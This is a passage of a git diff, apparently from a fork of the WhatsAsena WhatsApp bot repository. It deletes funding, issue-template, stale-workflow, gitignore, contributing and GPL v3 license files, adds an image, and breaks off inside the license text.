diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml deleted file mode 100644 index a72c50b93f..0000000000 --- a/.github/FUNDING.yml +++ /dev/null @@ -1,12 +0,0 @@ -# These are supported funding model platforms - -github: [phaticusthiccy] -patreon: [phaticusthiccy] -open_collective: # Replace with a single Open Collective username -ko_fi: # Replace with a single Ko-fi username -tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel -community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry -liberapay: # Replace with a single Liberapay username -issuehunt: # Replace with a single IssueHunt username -otechie: # Replace with a single Otechie username -custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] diff --git a/.github/ISSUE_TEMPLATE/-bug--.md b/.github/ISSUE_TEMPLATE/-bug--.md deleted file mode 100644 index c2c40ebcc0..0000000000 --- a/.github/ISSUE_TEMPLATE/-bug--.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -name: "[BUG] " -about: Create a report to help us improve -title: '' -labels: Bug -assignees: phaticusthiccy - ---- - -**Describe the bug** -A clear and concise description of what the bug is. - -## - -**Expected behavior** -A clear and concise description of what you expected to happen. - -## - -**Screenshots** -If applicable, add screenshots to help explain your problem. - -## - -**Users, please complete the following actions.** -- WhatApp Package Name -- WhatsAsena Version -- Work Type (Private || Public) - -## - -**Additional context** -Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/-enchantment-.md b/.github/ISSUE_TEMPLATE/-enchantment-.md deleted file mode 100644 index 7869977d85..0000000000 --- a/.github/ISSUE_TEMPLATE/-enchantment-.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -name: "[ENCHANTMENT]" -about: Suggest an idea for this project -title: '' -labels: Enhancement, Question -assignees: phaticusthiccy - ---- - -**Is your feature request related to a problem? Please describe.** -A clear and concise description of what the problem is.* - -## - -**Describe the solution you'd like** -A clear and concise description of what you want to happen. - -## - -**Describe alternatives you've considered** -A clear and concise description of any alternative solutions or features you've considered. - -## - -**Additional context** -Add any other context or screenshots about the feature request here. diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md deleted file mode 100644 index dd84ea7824..0000000000 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -name: Bug report -about: Create a report to help us improve -title: '' -labels: '' -assignees: '' - ---- - -**Describe the bug** -A clear and concise description of what the bug is. - -**To Reproduce** -Steps to reproduce the behavior: -1. Go to '...' -2. Click on '....' -3. Scroll down to '....' -4. See error - -**Expected behavior** -A clear and concise description of what you expected to happen. - -**Screenshots** -If applicable, add screenshots to help explain your problem. - -**Desktop (please complete the following information):** - - OS: [e.g. iOS] - - Browser [e.g. chrome, safari] - - Version [e.g. 22] - -**Smartphone (please complete the following information):** - - Device: [e.g. iPhone6] - - OS: [e.g. iOS8.1] - - Browser [e.g. stock browser, safari] - - Version [e.g. 22] - -**Additional context** -Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md deleted file mode 100644 index bbcbbe7d61..0000000000 --- a/.github/ISSUE_TEMPLATE/feature_request.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -name: Feature request -about: Suggest an idea for this project -title: '' -labels: '' -assignees: '' - ---- - -**Is your feature request related to a problem? Please describe.** -A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] - -**Describe the solution you'd like** -A clear and concise description of what you want to happen. - -**Describe alternatives you've considered** -A clear and concise description of any alternative solutions or features you've considered. - -**Additional context** -Add any other context or screenshots about the feature request here. diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml deleted file mode 100644 index e0e33d2d80..0000000000 --- a/.github/workflows/stale.yml +++ /dev/null @@ -1,19 +0,0 @@ -name: Mark Stale Issues and Pull Requests - -on: - schedule: - - cron: "30 1 * * *" - -jobs: - stale: - runs-on: ubuntu-latest - steps: - - uses: actions/stale@v3 - with: - repo-token: ${{ secrets.GITHUB_TOKEN }} - stale-issue-message: 'This issue is stale Because it has been open 5 days with no activity. Remove the stale label or comment or this will be closed in 2 days' - stale-pr-message: 'This PR is stale because it has been open 5 days with no activity. Remove the stale label or comment or this will be closed in 2 days' - days-before-stale: 5 - days-before-close: 2 - stale-issue-label: '○ Stale' - stale-pr-label: '○ Stale' diff --git a/.gitignore b/.gitignore deleted file mode 100644 index 4c69a3e123..0000000000 --- a/.gitignore +++ /dev/null @@ -1,109 +0,0 @@ -# Logs -logs -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* -lerna-debug.log* - -# Diagnostic reports (https://nodejs.org/api/report.html) -report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json - -# Runtime data -pids -*.pid -*.seed -*.pid.lock - -# Directory for instrumented libs generated by jscoverage/JSCover -lib-cov - -# Coverage directory used by tools like istanbul -coverage -*.lcov - -# nyc test coverage -.nyc_output - -# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) -.grunt - -# Bower dependency directory (https://bower.io/) -bower_components - -# node-waf configuration -.lock-wscript - -# Compiled binary addons (https://nodejs.org/api/addons.html) -build/Release - -# Dependency directories -node_modules/ -jspm_packages/ - -# TypeScript v1 declaration files -typings/ - -# TypeScript cache -*.tsbuildinfo - -# Optional npm cache directory -.npm - -# Optional eslint cache -.eslintcache - -# Microbundle cache -.rpt2_cache/ -.rts2_cache_cjs/ -.rts2_cache_es/ -.rts2_cache_umd/ - -# Optional REPL history -.node_repl_history - -# Output of 'npm pack' -*.tgz - -# Yarn Integrity file -.yarn-integrity - -# dotenv environment variables file -.env -.env.test - -# parcel-bundler cache (https://parceljs.org/) -.cache - -# Next.js build output -.next - -# Nuxt.js build / generate output -.nuxt -dist - -# Gatsby files -.cache/ -# Comment in the public line in if your project uses Gatsby and *not* Next.js -# https://nextjs.org/blog/next-9-1#public-directory-support -# public - -# vuepress build output -.vuepress/dist - -# Serverless directories -.serverless/ - -# FuseBox cache -.fusebox/ - -# DynamoDB Local files -.dynamodb/ - -# TernJS port file -.tern-port -session.asena -*.db -package-lock.json -.DS_Store -config.env diff --git a/Anshad.jpg b/Anshad.jpg new file mode 100644 index 0000000000..5bce0f6a66 Binary files /dev/null and b/Anshad.jpg differ diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md deleted file mode 100644 index d5e69e02f7..0000000000 --- a/CONTRIBUTING.md +++ /dev/null @@ -1,113 +0,0 @@ -# Contributing to Thiccy - -When contributing to this repository, please first discuss the change you wish to make via issue, -email, or any other method with the owners of this repository before making a change. - -Please note we have a code of conduct, please follow it in all your interactions with the project. - -## Pull Request Process - -1. Ensure any install or build dependencies are removed before the end of the layer when doing a - build. -2. Update the README.md with details of changes to the interface, this includes new environment - variables, exposed ports, useful file locations and container parameters. -3. Increase the version numbers in any examples files and the README.md to the new version that this - Pull Request would represent. The versioning scheme we use is [ReadMe](https://github.com/phaticusthiccy/WhatsAsenaDuplicated/blob/master/README.md). -4. You may merge the Pull Request in once you have the sign-off of two other developers, or if you - do not have permission to do that, you may request the second reviewer to merge it for you. - -## Code of Conduct - -### Our Pledge - -In the interest of fostering an open and welcoming environment, we as -contributors and maintainers pledge to making participation in our project and -our community a harassment-free experience for everyone, regardless of age, body -size, disability, ethnicity, gender identity and expression, level of experience, -nationality, personal appearance, race, religion, or sexual identity and -orientation. - -### Our Standards - -Examples of behavior that contributes to creating a positive environment -include: - -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting constructive criticism -* Focusing on what is best for the community -* Showing empathy towards other community members - -Examples of unacceptable behavior by participants include: - -* The use of sexualized language or imagery and unwelcome sexual attention or -advances -* Trolling, insulting/derogatory comments, and personal or political attacks -* Public or private harassment -* Publishing others' private information, such as a physical or electronic - address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a - professional setting - -### Our Responsibilities - -Project maintainers are responsible for clarifying the standards of acceptable -behavior and are expected to take appropriate and fair corrective action in -response to any instances of unacceptable behavior. - -Project maintainers have the right and responsibility to remove, edit, or -reject comments, commits, code, wiki edits, issues, and other contributions -that are not aligned to this Code of Conduct, or to ban temporarily or -permanently any contributor for other behaviors that they deem inappropriate, -threatening, offensive, or harmful. - -### Scope - -This Code of Conduct applies both within project spaces and in public spaces -when an individual is representing the project or its community. Examples of -representing a project or community include using an official project e-mail -address, posting via an official social media account, or acting as an appointed -representative at an online or offline event. Representation of a project may be -further defined and clarified by project maintainers. - -### Enforcement - -Instances of abusive, harassing, or otherwise unacceptable behavior may be -reported by contacting the project team at [INSERT EMAIL ADDRESS]. All -complaints will be reviewed and investigated and will result in a response that -is deemed necessary and appropriate to the circumstances. The project team is -obligated to maintain confidentiality with regard to the reporter of an incident. -Further details of specific enforcement policies may be posted separately. - -Project maintainers who do not follow or enforce the Code of Conduct in good -faith may face temporary or permanent repercussions as determined by other -members of the project's leadership. - - -[Home Page](https://github.com/phaticusthiccy/WhatsAsenaDuplicated) - -[Thiccy's Blog](https://phaticusthiccy.jimdofree.com) - -### Warning ⚠️ - -This project is open source. So you are responsible for the changes you make. -It is your responsibility to use these codes. We are not responsible for any bad things you make. - -## - -##### Sharing WhatsAsena on Social Medias - -> Users Allowed - -```json -{ - "user_github": "https://github.com/dogubk", - "user_workmail": "doguhanonder34@gmail.com", - "user_publicmail": "dohuhanz@gmail.com" - }, - "user_permissions" { - "allow": ["share, usage, support"], - "unallow": ["write, commit"] - { -} -``` diff --git a/LICENSE b/LICENSE deleted file mode 100644 index f288702d2f..0000000000 --- a/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY 